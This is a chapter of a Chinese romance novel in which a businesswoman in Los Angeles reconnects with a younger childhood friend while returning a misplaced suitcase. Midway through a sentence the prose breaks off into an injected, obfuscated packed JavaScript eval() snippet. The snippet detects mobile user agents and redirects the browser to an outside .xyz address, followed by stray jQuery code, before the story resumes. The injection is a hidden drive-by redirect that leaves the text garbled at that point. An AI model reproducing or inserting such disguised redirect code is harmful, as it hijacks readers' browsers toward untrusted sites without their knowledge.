电话接通的瞬间，对面那道熟悉的声音便轻轻响起，带着一点试探的笑意：“遥遥姐，是我，周越。”
夏知遥一瞬间几乎没认出来，那声音低哑得不似记忆，少年时清澈带笑的音色已经不见了，取而代之的是一种微微压低后的醇厚质感，柔和，却有着不容忽视的存在感，已隐隐带上了成年人的棱角与厚度。
她一怔，片刻后勾了勾唇角，声音比平时轻了一点：“听出来了，你声音有点变成熟了诶。”
“真的？”周越笑，“可能现在讲作业太多了，变成熟了点？”
“你以前讲话就一副小大人样。”她语气带着点打趣的意味。
“被你笑话了。”周越低笑了一声，“我看到你在校友群发的箱子消息了，那个沈以宁是我同学。”
“哦？”她语气一扬，“你同学？”
“是啊，她都不知道自己箱子拿错了。”周越的语气里带着一丝温柔，“幸好你捡到了。”
夏知遥忍不住笑了一下：“那我功德无量？”
“当然。”他笑着接话，“所以我决定亲自来感谢你，能发个定位吗？我开车去接你。”
她眉头微挑，语气轻快：“你还开车？记得以前你连公交都坐反过。”
“遥遥姐，我现在也成年了，”周越笑着反驳，声音软软的，又带着一点撒娇，“再不长大，就赶不上你了。”
她轻笑一声：“行吧，我在希尔顿。地址我一会儿发你。”
“好。”他顿了顿，又补了一句：“咱俩好久没说过话了……还是因为一个箱子，真巧。”
“你这句台词说得太像偶像剧了。”夏知遥打趣。
“可不是吗。”周越语气低了些，像是随口一问，又藏着一点小心，“你这次来，是不是很忙？”
“挺赶的，明天一早有会。”她说，“不过现在还有点时间。”
“那太好了。”他像松了口气，笑意在语气里蔓延，“我怕打扰你，但又……怕你不理我，所以只敢发一句。”
夏知遥听着，眼神微动。她靠在沙发上，唇角带着一点柔意：“你小时候也是，想找我玩，还得先让你妈打电话来问。”
周越低笑：“那是你高冷。”
“我高冷？”她轻哼了一声，“你是小屁孩，走哪儿都黏人。”
“现在也黏。”他低声说了一句，随后收住语调，轻轻道，“遥遥姐，我一会儿就到。”
“好。”她轻轻应了，顿了下，语气自然：“我在大堂等你。”
电话那头静了一瞬，他像终于找到了节奏，又补上一句，声音轻得像叮咛，又像命令：“遥遥姐……等我。”那三个字落在耳畔，像某种旧誓言，从记忆深处缓缓浮出水面。
酒店门外，夜色初沉，空气中还留着热气未散的余温，远处街灯一盏盏亮起，像散落在人间的星子，柔和却不够温暖。
不久后，一辆白色雷克萨斯缓缓驶入门廊，车身在灯光下泛着微弱的柔光，像沉默却不容忽视的靠近。
车窗缓缓摇下，周越侧头探出，眉眼含着熟悉又收敛的笑意，像是刻意藏住锋芒，又似不自觉地流露出某种笃定。
“遥遥姐。”那声“姐”，轻得像夜风，却在心底悄无声息地落下一锚，轻轻一点，刚好拨动那根多年未曾触碰的弦。
夏知遥没有回话，只是目光沉静地看了他一眼，微微颔首，拉开副驾驶车门坐了进去，助理程悦跟在身后，有些局促。
车内弥漫着淡淡的薄荷味，与窗外夜晚略显潮湿的空气形成对照，车门一关，城市的喧嚣被隔绝在外，安静得像时间慢了半拍。
那气味，干净、温暖，是她记忆里某个片段的残影。那时候的少年总是干净的，身上带着柠檬味沐浴露的清香，笑声朗朗，叫她“遥遥姐”，眼睛里全是她。
而现在，坐在她身边的大人，却在用同样的称呼，一点点将那些回忆唤醒，周越转头看她，像是想说什么，但最终只是笑了笑，语气软下来，轻轻提醒：“安全带，姐。”
她低头扣好，动作一贯利落，却没有回应他的笑意，只是望向窗外，语气平淡，听不出喜怒：“辛苦了，小朋友。”
那一句“辛苦了”，不咸不淡，像礼貌的寒暄，却在无声中划出一条隐形的线。她始终保持着适度的疏离，而他，显然正试图穿越那道线。
车子刚驶出门廊，夏知遥忽然转头，看了后排一眼，语气不疾不徐：“你带护照了吗？”
程悦一怔，像是没反应过来，“啊……没带，在酒店房间里。”
空气像被什么轻轻压了一下，沉了一秒。
她目光收回，神情依旧平静，语气却带着一种理性冷冽的斥责感：“回去拿。”没有怒气，但字字清晰，不容置疑。
“你不带护照，人家怎么确认箱子是你的？你说是你的，人家就信吗？这种事还需要我提醒？”她说得不快，却让人无处可逃，像刀刃划过表面，看不出伤口，却疼得分毫不差。
程悦脸色微变，急急低声道：“我……我以为……”
“什么事情都是你以为，咱们也不用这么辛苦了。”夏知遥语调未变，她没再多说，低头翻开平板，像是在查阅第二天的资料调度。
这场短暂的对话，以一种近乎无声的方式结束了，她没有发火，甚至连眉头都未曾皱一下，但那种平静中的压迫感，反而让人更觉得寒意沁骨。
前排的周越余光扫过后视镜，落在后排那个局促的身影上，他没说话，手却悄悄收紧了方向盘，嘴角却扬起一个若有若无的笑，像是看透，也像是习惯。
就在这时，周越忽然开口，声音轻得像一滴水落进池中，清澈又温柔：“没事的，遥遥姐。”他说得乖得近乎温顺，语气软软的，“咱俩等会她就行。”
夏知遥转头看了他一眼，没说话，但她知道，那一声轻声的“遥遥姐”，就像一颗锚，悄悄落入她心口最深的湖底。
夏知遥低头，打开微信，不紧不慢地敲下一行字：【吴姐，麻烦帮我物色个新助理。男的女的都行，学历次要，执行力第一。】
接着，又是一条：【现在这个，等我回去就换。】
文字刚发出几秒，HR那边的消息便弹了出来，像是早就守在手机旁：【夏总，发生什么了吗？要不要先沟通一下？】
她的手指又动了动，重新打字，语气一如既往地利落：
【自作主张，不听指令的人，我不需要。】
她顿了顿，眼神未变，仿佛只是确认自己想得是否够狠够彻底，然后又补上一句：【现在不要动静，别让外人看笑话。】
对面几乎是秒回：【明白。】
周越始终没有说话，只是在红灯等候间，不动声色地看了她一眼。
夏知遥只是静静靠在副驾驶的车窗边，眼神淡淡地掠过车外，城市的轮廓正被晚霞渐渐染上色彩，反光映出她半张面孔，眉眼沉静，唇线紧绷，难以看出情绪的波动。
周越没有出声，他太熟悉了，她越是这样冷静、利落、寡言，越是说明她在压抑某种情绪，夏知遥只有在真正期待过的人让她失望时，才会露出这种怒意。
周越低头轻笑了一下，想说点什么，却最终忍住了，现在还不是时候，她的锋利与警惕让他无法轻易靠近，他必须等，等到她不再设防的时候，再慢慢接近。
车子继续行驶在洛杉矶的街道上，夜色早已落下，路灯一盏盏亮起，隔着车窗投出一圈圈柔和的光晕，像散落在现实与回忆之间的幻象。
车内却越发安静，等红灯的事后，突兀却又自然地，夏知遥抬手，轻轻拍了拍周越的头发，带着一种久违的、被时间沉进水底的亲昵，像某个早已冻结的场景，被悄悄解冻，“几年不见，你都长这么帅了。”
她的声音低低地带着点笑意，也像是借感慨轻轻碰了下他们之间某种旧关系的边界，晚风穿过城市的光影斑驳，霓虹在车窗上拉出一道道水纹般的折线，仿佛整座城市都被这辆车的安静裹挟着往前驶去。
她侧过脸看了他一眼，唇角带着点笑，语气轻松，却藏着探询的意味：“我记得你去年来读硕士BA的？”
周越握着方向盘，目光始终平稳地盯着前方，声音里带着不易察觉的温柔：“对，MSBA第三学期了。最近做一个IndustrySeminar，暑假要去华尔街实习。”
“华尔街啊。”她重复了一句，语气听起来漫不经心，眼神却微微收了一下，像是将某种情绪藏进了夜色里，“确实，那才是正经金融圈，洛杉矶始终算不上金融中心。”
她低头轻笑，像是随意又像自言自语：“现在真好，有BA这种专业，课程实用，机会也多，还没毕业就能进投行实习。”
“是挺好的。”周越也笑，语气平静中带着点少年气的雀跃，“方向虽然窄了点，但至少知道自己该往哪儿走。”他语气不自觉地扬了点，眼神里透着亮，证明这几年，他也不是白过的。
夏知遥听着，点了点头，车内安静了几秒，她忽然笑了，像一盏温热茶盏落在木桌上，轻、准，却带着温润绵长的余韵：“这就好。踏实点做事，先把基础打牢。等你真站稳了，去哪儿都行。”
周越没有接话，只是单手收紧了方向盘，骨节微微绷出棱角，掌心因用力而泛起一层浅白。他的目光仍落在前方，但后视镜下的眼神，却被路灯的光折出一道淡淡的锋芒，那光柔和，却藏着一丝没说出口的倔强。
气氛慢慢松动下来，两人聊起从前的事，像是有什么东西悄悄在心底松动，撬开了一道缝隙。
那缝隙里透着光，也透着风，像是时间忽然倒退，回到了那些未曾疲惫的年少时光，阳光正好，风也温柔，未来仍然可以天真得毫无防备。
车子停稳，周越先一步下车，他逆光而立，肩膀笔挺，五官在余晖的斜光下被勾勒得更显分明，单眼皮和半框眼镜压着清俊的眉眼，整个人带着少年气，却比记忆中的他，更添几分沉静与轮廓。
头发有些长，刘海被风吹起几缕，没怎么打理，却偏偏透出一种不经意的不羁。
夏知遥站在他身侧，身高不低的她，却在那一刻忽然生出一种，被不动声色地覆盖了半分的错觉。
她眯了眯眼，像是认真观察了一下他，忽然抬手在两人之间比了比，语气轻快地笑了一声：“又长个了？现在多高？”
周越低头看她，唇角轻轻一勾，语气里带着一点慵懒的得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669911|173106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意：“一米八四。”
夏知遥轻轻皱了皱眉，失笑地摇摇头：“果然，男人一过一米八，就恨不得告诉全世界自己多高。”话说得像玩笑，却自然得仿佛他们从未走远，那语气，是他们之间特有的、不动声色的亲昵。
周越低低笑了一声，嗓音略哑，语气里带着些小时候撒娇时才有的理直气壮：“你问我的。”他眼底掠过一丝微妙的情绪，像水面划过一道暗影，又被他自己悄悄收了回去，重新，是惯有的清朗模样。
夏知遥看着他，神色淡淡，眼神却在那一瞬轻轻一顿，他变了，还是那副温文儒雅的外表，可骨子里，却多了些她一时读不清的东西，像是锋利，却藏着，像是执拗，却不说。
“走吧。”她转身，声音恢复惯有的干净和简洁，两人一前一后走入公寓楼。
沈以宁开门时，穿着白衬衫和牛仔裤，扎着高马尾，一张脸干净清秀，眉眼明亮，她看到周越的那一刻，眼神里明显亮了一下。
“周越！”她轻快地喊了一声，语气里的亲近，毫不掩饰，那种熟络感，就像深夜里突然点亮的一盏灯，让人一眼就看清了关系的温度。
夏知遥站在几步之外，目光不动声色地扫过去，眯了眯眼，就知道这女孩儿对周越的感情不一般。
沈以宁接过行李箱时，动作微微一顿，似乎这才意识到夏知遥的存在，她怔了一下，神情飞快收敛，很快回过神来，脸上挂上标准的礼貌笑容：“你好，谢谢你们，真不好意思。”
夏知遥点头，唇边弯起一个公式化的弧度，语气平稳：“真巧，要不是我弟弟是你同学，咱们也不能这么快找到行李呢。”整段对话看似波澜不惊，可她眼底的笑意，淡得像层贴着皮肤的雾，谁也无法真正看透。
五分钟后，周越重新发动车，载着她们回酒店，夜色彻底落了下来，洛杉矶的街道在橘黄灯光的映照下泛着温柔的光晕。高大的棕榈树一棵棵从窗外掠过，影子像是电影镜头里一格格被剪辑过的旧时光。
车厢安静，连音乐都没放，只剩下轮胎与地面轻柔摩擦的声响，周越单手搭在方向盘上，侧头看了她一眼，语气带着一点小心的探询，像是绕过逻辑，直接试图叩响情绪的那扇门：“遥遥姐，最近很忙吗？”
夏知遥低头扫了眼手机，屏幕上红点密布的未读提醒像是一层层永不止息的任务催促。她神情不变，只淡淡应了句：“这几天不行，case还没走完，三四天后，大概能空半天一天天的。”
话音刚落，周越便像是被这句轻飘飘的“未来可能”绊了一下，轻轻撇了撇嘴，语气突然软了下来，带着一种她最熟悉的撒娇语气，“咱俩上次一块吃饭……都好几年了诶。”
他扁着嘴，眼睛盯着前方，却压着音，低低地，像小狗被丢在了门口，语气里满是“我懂你很忙、但我还是想要点什么”的克制和讨好。
“你好不容易回来一趟……”他没说“你得给我时间”，也没说“陪我一下”，只像小时候一样，低着头等着她松口，不说情绪，只让语气往下沉，等她听懂。
夏知遥指节下意识收紧，却又很快松开，她忽然想起小时候的那个画面：那个总爱在她家蹭饭的小孩，瘦瘦的，坐在餐桌边等她。
她每次故意逗他“不给你吃了”，他就可怜巴巴看着她，小声说：“那我就看你吃也行。”那个眼神，和现在这语气，重叠得一模一样。
她心头一软，仿佛某种被压在最底层的情绪，忽然轻轻浮起来，敲了一下心口最柔软的地方，她收回视线，轻轻叹了口气：“……好吧。”她顿了顿，目光柔和几分：“我忙完事，就跟你吃饭。”
周越的表情在那一刻被光点照亮，他没立刻说话，只是轻轻侧过头看她一眼，唇角扬起，眼底亮了那么一下，“嗯，我等你。”声音极轻，却软得让人不好拒绝，像一根松松挂着的丝线，不知不觉牵着她的情绪往前走。
车厢重新安静，只有引擎的低鸣，在昏黄的灯光下滑出一道道安稳的光轨，夏知遥靠在副驾驶，余光悄悄扫了他一眼。
她眉头微蹙，语气不动声色地问：“嗓子怎么了？听着有点哑。”
周越单手搭着方向盘，另一只手下意识敲了敲喉结，轻咳一声，语气带着点懒懒的无奈：“可能上火了。这几天老疼，喝水也没用。”他说得漫不经心，却刻意压低了音量。
夏知遥沉默两秒，低头翻开手机，语气仍然冷静，却带着一点不容置疑的温柔：“我回头给你拿点药，我带了牛黄解毒来。”
周越转头看了她一眼，那一眼短暂，却藏着一抹极深的情绪，仿佛一张轻描淡写的画，忽然被风吹皱了水面。
他低低地应了一句：“好。”
城市的灯火在玻璃上映出无数碎光，重叠又疏离，车厢安静得像一场旧梦，什么都没说，却什么都在说，风从窗缝里钻进来，带着一点点春夜里不动声色的暖意，在他们之间缓缓流动。
她靠着椅背，闭了闭眼，像是在这份难得的安静里稍作停顿，周越握着方向盘的指节轻轻动了一下，像是某种终于握紧的准备。
他低头一笑，眼神落在前方，却藏着一丝被风拂过也不曾散开的光，他等得起，也有时间慢慢撬开她的世界。